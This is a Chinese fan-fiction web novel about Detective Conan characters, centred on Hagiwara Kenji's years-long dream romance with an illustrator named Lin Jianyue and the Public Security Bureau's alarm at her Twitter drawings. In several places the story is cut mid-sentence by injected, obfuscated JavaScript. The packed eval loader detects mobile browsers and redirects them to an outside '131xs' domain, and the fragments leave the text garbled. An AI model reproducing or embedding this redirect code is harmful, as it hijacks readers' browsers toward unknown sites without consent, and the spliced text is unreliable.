《如何三秒激怒我推》 1. 独家 猩红的数字不断跳动,晃得人眼睛疼。 萩原研二握着钳子蹲在走道尽头,眨了两下眼,才后知后觉意识到自己是在梦里。 他又做梦了,梦到七年前的爆炸案。 萩原研二不悦皱眉,干净利落地剪断最后一根引线,席地而坐开始抽烟。 他讨厌这个地方,哪怕只是梦。 周围是死一般的寂静,空气凝滞,似梅雨季般又闷又沉。 萩原研二略显不耐地吐出一口烟,突然听到一阵清脆的脚步声,随即是女人的声音:“你在这里呀,研二。” 女人的声音似一阵电流从萩原研二头蹿过,他怔在原地,定了几秒才转身看向身后。离萩原研二几步远的地方站着一个女人,长发齐腰,一袭素色长裙。 女人笑意盈盈,语调里带着一丝撒娇的埋怨:“你都好久没来看我了。” 萩原研二灭掉烟,煽动手掌把没来得及消散的烟味推去一边。他三步并两步来到女人面前:“你……” 声带倏然收紧,咬字也有些变形。 萩原研二盯着面前女人的脸,滚了滚喉结,没来由的有些紧张,又有些委屈:“我每天都在想你,是你一直没来看我。” 女人动作自然地环住萩原研二的腰,依偎在他怀里。她仰头,一双杏眼像劣质的工艺品,没有光泽,也倒映不出任何风景:“我好想你呀研二。” 萩原研二僵住笑,惊喜的情绪烟花般一闪即逝,旋即沉寂。 …… 七年前,萩原研二刚考上警校时,梦到一个陌生的女人。 梦的地点是一间陌生的女性卧室,女人光着脚,蜷缩身子坐在角落的矮沙发上,无声掉泪。 萩原研二观察四周环境时,女人注意到了她。 哭红了眼的女人怔怔地盯着萩原研二,茫然又震惊的眼神像是看到了外星生物。 她眨巴眼,指着萩原研二一字一顿地喊出他的名字:“萩原研二?” 萩原研二回以一个礼貌的笑,走到女人面前几步远的距离蹲下,与她平视:“你认识我?” 挂在眼眶里的最后一点泪顺着脸颊滑落,女人用力吸了下鼻子,眼底荡开星光,倒映出萩原研二的身影:“嗯。” 她温暖热烈的目光不加遮掩地落在他身上,好似骄阳吻脸,顺着皮肤钻进血肉。 萩原研二清晰捕捉女人情绪变化的整个过程,他极快地蹙了下眉,压下疑惑,笑问:“看到我,你这么开心?” 女人点头:“我最喜欢你了,当然会开心。” 随即低头小声嘟囔:“这还是我第一次梦见你。” 梦见他? 不等萩原研二多问,耳畔突然响起一阵突兀的敲门声,眼前的世界也随之崩塌。 萩原研二睁开眼,入目的是警察宿舍雪白的天花板,将他从梦境中惊醒的敲门声正断断续续从门口传来。 萩原研二拉开房门,松田阵平满脸淤青地站在外面。 “小阵平你也真是的,这才开学三天,你就打架。”萩原研二故作嫌弃,笑眯眯地为松田阵平处理好所有伤口。 “还不是某个烦人的金毛混蛋到处惹眼,”松田阵平打了个哈欠,斜睨向萩原研二,“你怎么了,不适应警校生活吗,看上去怪怪的。” “果然什么都瞒不住小阵平你。我呀,刚刚梦到了一个从没见过的女人,她对我告白了。” “……哇哦。”鄙夷的眼神刀子般落到萩原研二身上。 萩原研二笑着皱眉抗议:“小阵平你能不能别用这种看白痴的眼神看我!” 松田阵平不咸不淡地“喔”了一声,明显没往心里去。 萩原研二贴好最后一块药膏,往松田阵平后背拍了下,示意他穿上衣服,随即杵着下巴开始思考:“刚刚那个梦,我能看到她眼睛里的倒影。靠得近了,我还能闻到她身上的沐浴露香。” 松田阵平蹙眉,领悟到萩原研二想表达的意思。 大脑不可靠,它为确保自己不会超负荷运作,会在很多地方偷懒。 比如…… 梦境会省略很多细节的地方,呼吸、心跳、体温,还有倒映在眼球晶状体上的倒影。 松田阵平推测道:“不过偶尔也会有例外。也许是你白天发生了什么事,重点关注到眼睛和气味,大脑才会在梦里特意补全这两项信息。” “但她房间的书架上摆满了中文书。我趁着观察房间的那几秒,顺手翻阅了摆在桌子上的杂志。” “我的中文词汇量撑死了就一个‘你好’‘再见’‘我爱你’。再怎么天赋异禀,也不可能在梦里自动掌握一门陌生的语言吧,那本杂志可是密密麻麻写满了多到足以致死的中文。” 萩原研二顿了顿,半开玩笑道:“感觉就像穿越了一样。” 松田阵平疑惑但不以为然地斜瞥了眼萩原研二:“那你这周末去神社逛逛吧,别是被女鬼给缠上了。” 萩原研二笑着用手肘往松田阵平无伤的侧腰杵过去:“快睡吧你,不然明天没体力晨跑。” 他也没太把梦里的女人当回事,却不想从此一发不可收拾。 每天晚上,萩原研二都会梦到这个女人。 自称林见月的女人总会在看到他的一瞬间,眼眸如星辰般闪烁,期待又克制地坐在原地等待他主动靠近。 萩原研二有太多疑惑,她是谁,为什么会认识他,又为何会喜欢他? 但偶尔,林见月又会用一种复杂深沉的眼神看着他,爱意摔碎一地。萩原研二读不懂林见月眼底破碎的痛苦,但他擅长引导她一点点说出心事,包括他们是漫画里的人,以及他的死因。 漫画书的言论太过荒诞,萩原研二没有当真。但当他蹲在浅井别墅广场20楼,看着眼前和描述中一模一样的场景时,手指倏地颤了两下。 队员握着对讲机道:“萩原队长,部长让我们原地待命,待完成周边一公里的人员疏散后再进行拆除工作。” 萩原研二只思考了短短一瞬,便剪断了面前的蓝色引线。 “队长!” 咔哒咔哒剪断引线的声音不绝于耳,萩原研二对队员们惊讶的呼唤置若罔闻,在他即将拆除最后一根最关键的红色引线时,漆黑的显示屏上毫无征兆地跳出数字。 萩原研二瞳孔微震,踩在倒计时跳向1的瞬间,完成拆弹。 梦中再次相见时,劫后余生的恐慌和感激铺天盖地袭来,萩原研二第一次越界,满足林见月一直以来的期待——他在林见月额头落下个不带任何欲望的亲吻:“谢谢。” 萩原研二已经不再怀疑林见月的真实性。 呼吸、心跳、体温、气味,人类的大脑无法在梦境里事无巨细地设定好所有细节。再者,人类只能梦见认知范围以内的事,但林见月能轻易说出萩原研二不具备的知识。 梦中相见第一年零三个月,林见月握住萩原研二的衣角,眼底荡漾开月色般温柔的光泽:“你可以和我结婚吗?” 萩原研二苦恼蹙眉。 女孩子在婚姻里处于弱势方,随意说出托付终身的话,很容易被骗或者吃亏。 但当他语重心长地把自己的观点说给林见月听时,对方只是怔了一瞬,随即从眼底迸发出火焰般炙热的光芒。 “不愧是研二,我果然没喜欢错人。” 萩原研二垂眸,清晰意识到对方自始至终都只是把他当做一场梦,对他的爱意克制又口无遮拦。 行吧,反正只是梦,没必要太上纲上线。 因为是梦,没必要建设太高的心理防线,也没必要太认真。 所以再次听到林见月的大胆告白,萩原研二只是杵着下巴敷衍道:“是是是,醒了就去结婚。” 反正只是梦。 但萩原研二从未想过,这样的生活持续了整整四年。这四年里,他和林见月待在一起的时间甚至比和松田阵平待在一起的时间还长。 他和松田阵平偶尔会因为轮班错开,一天里见不上几面,但他和林见月每晚都会见面至少六个小时,风雨无阻。 这足够磨平萩原研二的性子,也足够他深入了解她,习惯她,甚至是……做些恋人间亲密的事。 再被问到可以和她结婚吗的话时,萩原研二杵着下巴,下垂的紫眸似倒映着明月的一湾泉,映出林见月柔和的身影:“好哦,我们结婚。” 萩原研二盯着林见月的脸,倏地沉下情绪。 为什么只是梦? 为什么不能真的来到他身边? 阴湿的想法开始发芽,欲|望膨胀的速度比他预想的要快得多。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920442|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但三年前,林见月出现的频率开始降低。从最初的每晚,降低至每周一次,再到每个月一次。最近半年,她更是泡沫般从萩原研二的世界里消失得干干净净。 直至今日,萩原研二才得以再次梦见林见月。 …… “我好想你呀研二。” 梦里久别重逢,林见月笑着环住萩原研二的腰撒娇。 萩原研二脸上笑意渐淡,眉心蹙着无限心事。 面前的女人没有呼吸,没有心跳,甚至没有林见月常用的花香调身体乳的香气。哪怕他把下巴搭在林见月肩膀,脸颊紧挨着她柔顺的发丝,也捕捉不到鲜活的生命气息。 这是梦,真正的梦。 怀里的人只是他思念的投影,而非他朝思暮想的林见月。她的一举一动,一颦一笑,都只是他潜意识对梦境的折射。 最初的四年,「梦」是他和林见月跨越时空的见面平台。但现在,他真的只是做了一场梦,恰好梦见了林见月。 冲上云霄的情绪重新跌落谷底,摔了个稀巴烂。萩原研二垂眸,突然失去了说话的欲望。 他默了几秒,缓缓环住怀里没有温度的人,声音沉甸甸的像潮湿角落发霉的海绵:“嗯,我也好想你。” 「林见月」期待地看向萩原研二:“研二,我可以亲亲你吗?” 圈住林见月腰的手缓缓收紧,萩原研二把头埋在「林见月」颈间,闷声道:“……不可以。” “可是上次明明就可以。” “上次是上次。” 「林见月」鼓着腮帮满脸不情愿:“那你怎样才愿意让我亲?” “你……不是想和我结婚吗,”萩原研二顿了顿,声音倏然收紧,“你来找我,好不好?” 就算是假的,他也无法控制地紧张起来。林见月消失前,他也曾问过她这个问题。 当时她是怎么回答的来着? 「林见月」笑意盈盈地给出了相同的答案:“好呀,正好下周要去日本留学,我打算带着你的毛绒玩偶去警视厅打卡拍照!” 为什么是去警视厅打卡? 为什么不是来见我呢? 萩原研二几次欲言又止,才闷声道:“见月酱,你喜欢我吗?” 他盯着「林见月」的眼睛,纤长的睫毛轻轻颤动,想要责怪,却又觉得自己可笑。真正的林见月已经不愿意来见他了,听一个替身说喜欢,又有什么用。 但即便如此,他依旧控制不住地在期待。 正如萩原研二所想,「林见月」踮起脚尖在他左脸亲了一口。 萩原研二弯了弯唇,破碎的眸子倒影出林见月精致的脸庞。他知道,她一定会说出告白的话,然后再在他另一边脸颊上也亲一口。就像她以往做过无数次那样。 「林见月」笑着搂住萩原研二的脖子,整个人搭在他怀里:“当然啦,我最喜欢——” 叮铃铃! 手机闹铃骤响,萩原研二猛地睁开眼。 「林见月」未说完的话化作一阵耳鸣,渐弱,直至消失。萩原研二不敢置信地盯着雪白的天花板,沉寂了两秒,才不甘心地回味过来,骂出一句脏。 他阖上眼做了几个深呼吸,试图屏蔽掉窗外象征着天亮的鸟鸣声,重新入睡。赶快,说不定还能重新回去,听「林见月」继续说她未说完的告白。 搭在身体两侧的手指下意识绷紧,萩原研二眉头微蹙,在床上翻来覆去,不停调整姿势。大脑不断发送“赶快入睡”的信号,身体却异常清醒。越怕睡不着,他就越是焦躁清醒。 十来分钟后,萩原研二好不容易憋出一点少得可怜的睡意,房门被人从外面敲响。 砰砰砰。 力度不轻不重,却每一下都震得他脑瓜疼。 萩原研二颓然地睁开眼,疲惫的眸子里酝酿着风暴。他坐起身,咬牙切齿地拉开房门,然后对上一张他已经看了将近二十年的男人的脸。 门外,松田阵平西装革履,单手插兜,另一只手还维持着敲门的姿势。他低头,黑色墨镜从鼻梁上滑下来一截,露出盛着戏谑情绪的青蓝色眸子:“怎么回事啊萩,居然还穿着睡衣,睡过头了?” “……” 萩原研二神色复杂地朝松田阵平深深看了一眼,回卧室开始更衣。 2. 独家 浅金色的日光顺着窗爬进走廊,被窗框切割成接连不断的菱形。 萩原研二散漫地坐在长椅上,握着罐已经被喝过几口的罐装咖啡。 周围人来人往,穿着警服或西装的同事从走廊一头走向另一头,将光斑切割成流动的金箔。 光影在萩原研二身上交错变换,他低着头,眼睑半阖,紫鸢色的眸子藏着晦暗不明的阴郁情绪。 “好巧啊,萩原警官。”远处传来女人带着些许雀跃的声音。穿着短裙的交通课女警——宫本由美正大大咧咧地朝他打招呼,笑着走过来。 浓密的睫毛投下颤动的阴影,萩原研二仰头看向来人时,笑意已弹簧般蹦上嘴角:“是宫本酱啊,找我有事吗?” “我找美和子,碰巧路过而已。” 萩原研二笑着挑了下眉:“刑事部在五楼哦,这里是十一楼。” “真是的,不要拆穿我啊。” 宫本由美哈哈笑着叉腰站到萩原研二面前,道明来意:“明天晚上有个联谊,你来吗?” 萩原研二苦笑着摆摆手:“饶了我吧,我女朋友会杀了我的。” 宫本由美满脸震惊:“诶?我还以为你已经……” 她顿住,匆匆咽下嘴边的话。 “已经什么?”松田阵平不知道从哪冒了出来。他握着根啃了两口的能量棒,绕过宫本由美,坐到萩原研二旁边。 宫本由美挠着脸,发出一连串尴尬的笑声,才小声回答:“萩原警官最近几个月状态很不对劲,我们以为你已经和传闻中的女朋友分手了。以防万一,我们还特意观察了两个月才决定出手。” 她双手合十,连连道歉:“是我不对,应该弄清楚状况再来邀请你的。” 萩原研二不在意地摆摆手,笑着反问:“我还以为自己瞒得很好,原来很明显吗?” “不算太明显。萩原警官见谁都笑盈盈的,把心事全部藏起来。但谁让你是警视厅人气王呢,半数以上的未婚女警都盯着你,自然就发现了。” 松田阵平咬了口能量棒,也插进话题:“今早还睡过头,被我叫醒的时候像个漏气的气球。” 萩原研二缓缓吐出一口气,脊背被抽去支撑般佝偻下来:"倒也不算完全分手,只是......" 他挤出一抹疲惫的笑意:"宫本酱,联谊的事,能让我……稍微想想吗?" 宫本由美表示理解:“分手肯定很痛苦,萩原警官也不用太勉强自己。” 尾调上扬,萩原研二摆出委屈巴巴的样子抗议道:“真是的,我才没有分手。宫本酱你可别咒我,我会生气的哦。” “你还是去吧,”松田阵平左边腮帮微鼓,最后一截能量棒已经被他全部送进嘴里,“刚好可以分散下注意力。再者,万一就遇到看对眼的女人了呢?” 萩原研二忍不住冲松田阵平拧眉: “你这家伙,谈恋爱这种事,你是最没资格对我指手画脚的。” 松田阵平无所谓地耸了耸肩。 “松田警官说得对。萩原警官你就来呗,说不定会遇到能一见钟情的对象。” 宫本由美竖起一根手指,故作神秘:“我们这次联谊有新妹妹,据说是个长得超可爱的留学生。” 萩原研二又无奈又好笑:“宫本酱还是一如既往,借着联谊的名义猛猛喝酒,对参加联谊的男性毫无兴趣。” 宫本由美嘿嘿一笑,希冀地看向萩原研二。 然而后者只是沉默着和她对视,缓缓摇头:“抱歉宫本酱,我暂时没想好要怎么处理和女朋友的关系,所以没办法回答。” 宫本由美遗憾地长叹一声,点了点头:“真可惜,还以为这次一定能邀请到你。我还向同事打下包票,说一定能把警视厅人气池面请到场。” 萩原研二笑着指向身侧的幼驯染:“人气池面的话,小阵平也是啊。你看他的脸,建模水平的帅气。” 宫本由美立刻双手合十举过头顶,摆出求饶的姿态:“萩原警官你就饶了我吧,松田警官一定会把联谊搞砸的。这家伙每次都是坐在那里埋头吃饭,然后把其他人当做观察对象进行推理,要不就是低头玩手机。” “而且这家伙气场太强,就算什么都不做,其他人也会如坐针毡。上次米花医院来的护士小姐就被他给吓跑了。” “小阵平,你被这么评价了哦。” 松田阵平和眼前这位不靠谱的后辈勉强算得上熟络——虽然熟悉的原因是她抓过几次萩原研二违章,以及在喝酒的地方频频偶遇。 他轻哼一声,斜着眼冲宫本由美开玩笑:“没礼貌,我不管是入职年份还是警衔都比你高,宫本你应该对我用敬语。” “你看你看,就是这个眼神,虽然没生气,但每次都能把我喊来的女孩子吓跑。” 萩原研二忍不住笑出声,但也仅仅只是笑了几声。 晨光温暖,亲吻着他的眼睫,笑意却迅速沉底,不见踪影。他仰头一口气喝掉手里的罐装咖啡,才重新看向宫本由美:“联谊的事,我会在晚上十点前给你答复。” 宫本由美看了眼时间:“好哦,我也该回去工作了。” 她朝萩原研二晃了晃手机:“等你好消息呀,萩原警官。”然后转身离开。 宫本由美走后,座位上两人陷入了短暂的沉默。 松田阵平率先撕开沉默的口子:“今天下班后,去酒吧吗?” “他工作的那家酒吧?”萩原研二没有点名对方的名字,但松田阵平知道他说的是谁。 “嗯。” 萩原研二沉默须臾:“好吧,刚好也可以听听他的建议。” * “我还以为你早和你的梦中女友分手了。” 酒吧吧台,降谷零穿着修身的酒保服,鼻梁上架着一副没有度数的黑边眼镜。不锈钢调酒杯泛起冰冷的光泽,冰块撞击杯壁发出咔哒咔哒的声音。 今明两天都是工作日,酒吧里几乎没有人。 降谷零把调制好的蓝色鸡尾酒搁到萩原研二面前:“您的‘初恋女友’。” 萩原研二的尾音像被拉长的橡皮筋,在吧台暖黄的光晕里晃出涟漪。他指尖敲了敲杯壁:“真过分,我点的明明是‘莫吉托’,你这样可是会被我投诉的哦。” “不行哦客人,这会害我被扣奖金的。”降谷零微笑地说着不走心的话。 拿着三份工资的男人才不会在意酒吧发放的少得可怜的奖金。 松田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920443|177045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵平单手托腮,懒懒出声:“活该。” 很难说得清他到底是在骂谁,也可能两边都在骂。 警校时期朝夕相处的另外四个人都知道林见月的事,也曾干预过。 谁都不想自家好兄弟和一个梦里的女人谈恋爱,这听上去跟被鬼蒙眼没什么区别,更何况这个兄弟还是个应该遵循唯物主义的警察。 但他们尊重萩原研二的选择。 而且他们还依托林见月的情报完成了自救,某种意义上也算欠了林见月一份情。 只是谁都没想到,他们居然能谈这么久。 萩原研二指尖抵着杯底转了半圈,端起酒杯喝了一大口。不同于记忆中的酸甜口感,降谷零为他特调的鸡尾酒入口绵密。液体漫过舌尖时,酒精的辛辣混着青柠皮的清苦,像团被冰水浸过的丝绸。 像他和林见月的第一次接吻。萩原研二没由来地想到。 柔软,笨拙,过分紧张,她的犬齿甚至刮疼了他的舌头。 萩原研二盯着玻璃杯上倒映出的自己模糊的身影,专注且苦恼地陷入沉思。良久,他才故作轻松地笑了一声:“完全被甩了呢,我可能真的该放弃了。” 萩原研二放下酒杯——明天还要工作,哪怕一杯鸡尾酒不足以麻醉他的意识,他也会克制地控制好酒量。 "和梦里的人谈恋爱……我大概会成为警视厅年度最佳笑料。" 他的声音轻得像羽毛,尾音却被吧台后面突然响起的短信提示音斩断。 降谷零随意地瞥了眼短信内容,脸色骤变,视线也牢牢钉在手机屏幕上。 坐在吧台前的两位爆处组精英也沉下脸来,压低音量正色道:“发生了什么事?” “我不确定,”降谷零边说边开始脱手套,“我得立刻回公安部一趟。” 说罢,他不给萩、松二人开口的机会,拎起柜子底下的风衣,脚下生风,一溜烟消失在两人视野里。 降谷零一走,偌大的酒吧就只剩两位坐在吧台前的警官,和远处坐着聊天的几个招待生。 见降谷零离开,其中一位招待生见怪不怪地耸了耸肩,拐进吧台里充当起酒保的角色。 “抱歉,刚才那位酒保临时有事,接下来会由我继续为二位服务。” 松田阵平瞥了眼对方陌生的脸,好奇道:“安室先生这样丢下工作就跑,不会被开除吗?” 新酒保脸色微妙了一瞬,努力维持微笑,语气里却多了几分咬牙切齿的嫉妒:“没办法,安室先生是我们酒吧的招牌。不管是稀有的混血面孔还是精湛的调酒水平,都能吸引到源源不断的美酒品鉴者。” 松田阵平抬了抬眼,没有说话。 * 白色马自达的真皮座椅上,降谷零的指节捏紧方向盘,骨节泛出冷白。 风见裕也的声音顺着蓝牙耳机钻入耳道,降谷零瞳孔骤然收缩,金色的发在脸上投下斑驳的阴影。 他大概知道萩原研二传闻中的“女朋友”的消息了。 但比起告知萩原研二,他还有更紧急的事必须处理。 降谷零烦躁地啧了一声,将油门踩到底。白色马自达猎豹般窜行在无人的公路上,月色洒落,在车身晕开一层冰冷的光。 3. 独家 夜色如墨。 警视厅公安部。 略显拥挤的办公室里,键盘敲击声此起彼伏。降谷零赶到时,整个公安部早已忙得脚不沾地。 “降谷先生,您终于到了!”风见慌忙起身,椅子撞在桌角发出脆响。其余人也露出得救了的表情,齐刷刷看向降谷零。 “情况如何?” 风见裕也领着降谷零走向技术员的电脑,后者则为两人让出一个便于观看的空间。 他的桌子上立着三块液晶显示屏,从左至右依次显示着复杂的代码,某个人的推特账号,和IP追踪结果。 风见裕也指着中间的显示器:“三十七分钟前,情报课捕捉到这个。” 浏览器停留在一个推特账号主页上,一个有着3W粉体量的id叫“阿月吃小萩”的账号。 降谷零抢过鼠标,光标滑过主页,二十六张插画依次展开。账号的主人是个插画师,主页挂满了她精心绘制的各种状态下的萩原研二。生活中、工作时、甚至是更私密的围着浴巾刚刚出浴时的状态。 只消一眼,降谷零便认出账号主人的身份。除了林见月,不会有第二个人了。 降谷零的食指突然按停在一张小巷雨夜图上。 逼仄巷道的砖墙渗着青苔,他戴着白手套,笑容危险;右侧阴影里,背着贝斯包的苏格兰在唇边竖起一根食指,似在示意画面外的人嘘声;左后方的黑麦威士忌则抱臂倚墙,嘴里咬着一根燃烧的香烟。 插画师用细腻的手法渲染出极致的氛围感,将他们三人黑暗的一面展现得恰到好处,危险又魅力十足。 降谷零脸色渐沉,眉也皱成川字。 太危险了。 这幅画若是被组织里的人看到,必会引起轩然大波。按琴酒多疑的性格,大概率会把他们三人都抓起来,用枪抵着他的太阳穴,逼他说出画师的名字,以及和画师的关系。 但幸好,这幅画不足以暴露他和诸伏景光的卧底身份。顶多会让琴酒猜忌,认为他们在外面养了个情人,或者未经上报的共用线人。 但不管哪种可能,都足以让琴酒震怒。 降谷零压下思绪继续浏览。 屏幕接连掠过萩原研二的单人插画,画布上流淌的爱意几乎要漫出屏幕。绵绸的情谊连贯成河,倒映在降谷零紫灰色的虹膜里,他蓦地理解了萩原研二沉沦的原因。 在翻到第三页时,搭在鼠标上的手指如遭针刺般弹了下。某种尖锐的震颤从尾椎窜上后颈,大脑陷入空白。 窒息感裹着寒意从各个方向涌来,像有一根绳子在脖子上绕了两圈并慢慢收紧,呼吸堵在气管里,上不去下不来。 “这……”沙哑的气音消散在键盘敲击声里。 画面里,他和诸伏景光被盛开的各色鲜花环绕,天光洒下,将两人的轮廓融成柔和的金边。诸伏景光头上的警帽向左歪了几度,他则握着警帽,维持着一个即将把帽子戴上的动作。 他们穿着警礼服,帽檐阴影下洋溢着笑意,眼角微微皱起的笑纹里填满了对未来的期许。 降谷零怔怔地看着这幅画,呼吸短暂的紊乱了几秒。他不安地收紧手指肌肉,低骂一句脏话。 情报泄露的冷意蹿上头皮,这是特大级事故,足以让日本公安多年来的努力在一夜时间化为乌有。 降谷零平稳住微微发颤的声线:“从你们发现这个账号,到现在,这幅画增加了多少浏览量?” 技术员快速敲打了一行代码:“对方是个小有名气的插画师,我们检测的短短半个多小时里,已经有361次访问,本土IP占比63%。” 降谷零沉默不语,他的视线钉在画面里诸伏景光扬起的嘴角上,视网膜却倒映着技术员屏幕右下角跳动的数字——那是实时浏览量数据,每三秒刷新一次,像催命的数符。 一滴冷汗顺着降谷零额角滑落:“能封掉这个账号吗?” 风见裕也推了推滑下鼻梁的眼镜:“正在走流程,但跨国申请需要七十二小时。推特的响应速度您知道的,而且我们和美国那边没有合作,没办法走后门。” 降谷零咬紧后槽牙,下颚线骤然绷紧成一条直线。 但他很快意识到不对劲的地方:“风见,你比我想象的要更冷静。为什么?” 风见裕也脸上还残留着连轴加班后的疲惫和顿感,他看向降谷零,脸上有不知道该如何处理棘手事件的茫然、自责,和不该有的平静。 这份异常的平静让降谷零生出不详的预感,鸡皮疙瘩顺着手指爬向小臂。 风见裕也表情微妙地短暂错开视线,第二次推眼镜——哪怕这次眼镜并没有从鼻梁上滑下来:“降谷先生,我认为您不用太过担心。” 他的喉结不自然地跳动两下:“账号持有者已经为您准备了解决办法。” 降谷零疑惑蹙眉。 “降谷先生,您可以直接跳转到第四页,那里有您想要的答案。” “第四页?” 鼠标滚轮转动的咔嗒声里,林见月的推特账号被翻到第四页。从上往下翻到第七幅画时,降谷零的瞳孔剧烈收缩,虹膜边缘的毛细血管几乎要撑破眼白。 降谷零不敢相信自己看到了什么。空调的嗡鸣、下属翻动文件的沙沙声、键盘敲击声……周遭的声响如同退潮的海水,渐渐远去,直至归于寂静。 降谷零死死瞪着屏幕正中央被放大的单人插画,太阳穴的血管突突跳动。他破天荒地笑了一声,又有些无力。 画面里,琴酒穿着警礼服,一脸凶相的站在熙熙攘攘的人流中间。作为背景的其他毕业生被虚化了脸,只能隐约窥见脸上的笑意。 仔细去看,就会发现琴酒身上还斜挂着一条红色绶带,上面隐约可见“毕业生代表”的字样。 画的正上方用黑体写了一排小字,是林见月将画发布出来时,一并写上的。翻译成日文后,大意是:听说最近很流行红黑互换,我试试。 风见裕也适时开口:“降谷先生,你可以点进刚才被你跳过的第三页的下半段。” 降谷零沉默照做,然后有幸目睹了公安部警花贝尔摩德,被画成派大星般睿智形象的刑事部双星基安蒂、科恩,和刑事部部长琴酒老大哥,以及永远的跑腿司机伏特加。 “……呵。”降谷零发出一声无力的冷笑,而后是无尽的沉默。 风见裕也静了几秒,再次开口:“从时间线上推理,您和诸伏先生的画出现在‘琴酒警官’的主题后面,所以……” 风见裕也没有说完,但降谷零明白他的意思。 琴酒对组织的忠心,天地可鉴。谁都可能是内鬼,唯独他琴酒绝对不可能是。 在林见月把琴酒塑造成警察的那一刻,她的画就失去了可信度。 信他们是警察,不如信琴酒是美国珍珠岛转世,被上天派来痛击报复日本的。 “降谷先生!”风见裕也倏然出声,坐在一边的技术员也从转椅上弹起身,发出一阵响动。 降谷零抬眼看去。 方才还好端端显示在屏幕上的林见月的社交账号,在刷新过后,突然变成“账号不存在”的提示字样。 林见月的账号被封禁了。 降谷零眉心微蹙:“赤井秀一那家伙终于也发现了。” 三年前,降谷零和诸伏景光抱着放手一搏的心态,依托萩原研二从林见月那里听来的情报,完成了极限自救。 诸伏景光洗清了嫌疑,继续卧底,他们也在反复试探中和赤井秀一交换了身份——但也仅仅是自述阵营的地步。除了身份,他们和赤井秀一之间没有交换任何情报,FBI和日本公安依旧各自为政。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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世界融合的理论太过荒谬,没必要说给一个唯物主义的警察听。况且他们几个也是用了好几年时间,才消化并接受了萩原研二在和梦里的女人谈恋爱的事。 降谷零垂下眸子,已经有了主意。他翻出手机,给远在数公里之外的友人发去一条消息: 『我会尽快安排模拟画像师去找你,你把林见月的长相口述给她。切记,此事保密。』 几秒后,对面发来回信: 『你知道林见月在哪?』 降谷零原本打算尽数隐瞒,但删删改改,最终只发过去一句简短的话:『不知道,但我必须找到她。』 聊天框顶部,原本显示萩原研二名字的地方先是变成一串「正在输入中」,闪烁良久,最后却只回过来两个字:『明白。』 降谷零默了一瞬,又补充了句:『林见月暂时没有危险。稍安勿躁,等我联系。』 * 警察宿舍。 萩原研二枕着单臂斜倚床头,衬衣领口松垮地滑向一侧,露出曾在梦里被林见月咬过一口的肩窝。 夜风掀起窗帘一角,手机屏幕的冷光落在脸上。睫毛微颤,紫鸢色的瞳孔映着聊天框里反复删除又重写的字符,萩原研二将林见月的名字含在嘴里反复咀嚼,只品出一股不甘。 半分钟前点击发送的『好哦,联谊算我一个XD』的字样在对话框里发烫,指腹在撤回键上悬停了三秒,终于重重按下。 无边夜色下,烦扰的思绪海草般死死缠住萩原研二,拖着他不停下坠。 新的回复被发送过去。 送达提示亮起的刹那,萩原研二突然将手机甩向床头,自暴自弃地合上眼。 重新发送的内容很短,却承载着沉甸甸的情绪,碎成满地无法收拾的月光。 『抱歉呀宫本,我暂时还不打算放弃,就不去联谊了。』 4. 独家 暮色深沉。 卧室的巨大落地窗外,东京铁塔亮起橘红色的光,耸立在星星点点的楼宇灯火间。 压感笔在手绘板上疾走,发出飒飒飒的声音。最后一道弧线收进下颚凹陷处,林见月长舒一口气,停下动作。 她瞥了眼桌子上的静音时钟:“居然都两点了。” 每次握住画笔,时间就被按下二倍速般,过得飞快。等后知后觉从绘画的享受中抽离,城市的轮廓已经融进夜色里。 林见月站起身龇牙咧嘴地做了一套简单的舒展运动,目光却牢牢黏在屏幕里的画上,没舍得离开半寸。 花大价钱购买的广色域显示屏里,刚完成勾边的萩原研二坐在银色私家车驾驶座,侧身看向副驾驶——也就是镜头的位置。他单手搭在方向盘上,另一只手伸向镜头,笑意温柔。 月色洒进林见月眼底,勾勒出温柔的光。她盯着屏幕上的画,忽然弯起嘴角,爱意便顺着睫毛颤动的弧度漫出来。 叮咚。 一道信息提示音打断了她的思路。 是宫本由美发来的消息:『抱歉林,上次和你提的机动队超级池面有事不能来。』 林见月盯着手机蹙眉,几秒后才想起来发件人那一栏里的「宫本由美」是谁。 几个月前,林见月在东京认识了个姓高桥的新朋友,一位身形挺拔的交通课女警。一周前,对方得知林见月很想体验一次日本联谊文化后,向她发出了邀约: ——“我同事组织了一场联谊,她说这次打算邀请机动队爆.炸物处理的班池面参加。我记得你很喜欢爆.炸物处理班,怎么样,要不要来?” 林见月应许了。 既能满足她对日本联谊文化的好奇心,又能让她啃一口代餐,何乐不为。 ——“好哦,那我让我同事加你。她叫宫本由美,是个超级有活力的大美人。” 宫本由美? 初见这个名字,林见月只是茫然地眨眨眼,觉得有些眼熟。她隐约记得《名柯》里好像有个女警也叫由美,但想不起来对方的姓氏。 之后通过宫本由美的好友申请,林见月和对方含蓄几句便去忙自己的事去了。她甚至没去翻书架上的全套《名柯》漫画,而是把这件事当做巧合,抛之脑后。 由美子、百合子、惠子……叫这类名字的女人,日本一抓一大把。 林见月根本没往心里去,以至于再见到宫本由美的名字时,她差点没想起来对方是谁。 